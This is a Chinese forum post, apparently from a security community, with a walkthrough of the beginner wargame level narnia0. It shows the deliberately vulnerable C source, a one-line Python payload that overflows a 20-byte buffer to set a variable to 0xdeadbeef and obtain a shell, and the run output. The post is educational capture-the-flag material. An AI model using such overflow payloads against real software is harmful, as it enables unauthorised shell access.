首页
社区
课程
招聘
[原创]WarGame-narnia0 解题思路
2019-7-22 10:28 8717

[原创]WarGame-narnia0 解题思路

2019-7-22 10:28
8717
WarGame-narnia1-番外篇 shellcode的编写
WarGame-narnia1 解题思路
WarGame-narnia2 解题思路
WarGame-narnia3 解题思路
WarGame-narnia4 解题思路
WarGame-narnia5 解题思路
WarGame-narnia6 解题思路
WarGame-narnia7 解题思路
WarGame-narnia8 解题思路


Narnia0是一个入门级的pwn游戏,wargame提供了源码会让游戏变得更简单,以下是源码

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

buf是有20字节的空间,但是接收了24个字节,而多出来的数据只会再打印4字节,所以最终输入一共是24字节,所以需要写个Python脚本构造后面的4字节数据 ,Python脚本如下:

print "a"*20+"\xef\xbe\xad\xde"+"\x80"

注意,后面这个\x80是必须要加的,不然接收会少一个字节,这是最终的运行结果


gavin@gavin:~/warGame/narnia$ python narnia0.py 
[+] Starting local process './narnia0': pid 6054
[*] Switching to interactive mode
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ
val: 0xdeadbeef
$



可惜的是wargame不允许Python脚本的直接攻击(至少我没想到方法),所以里面所有的输入全得手工完成

小结

wargame里的小游戏都很有趣,如果有对漏洞利用感兴趣的同学可以去玩玩,Google上有很多WP,只可惜百度搜不到,我会继续出这个系列的文章,以供和我一样的新手学习



阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

最后于 2020-10-22 11:39 被BDomne编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
最新回复 (1)
雪    币: 10953
活跃值: (340)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
白昼之月 2019-7-24 00:18
2
0
入坑连载
最后于 2020-2-8 23:12 被白昼之月编辑 ,原因:
游客
登录 | 注册 方可回帖
返回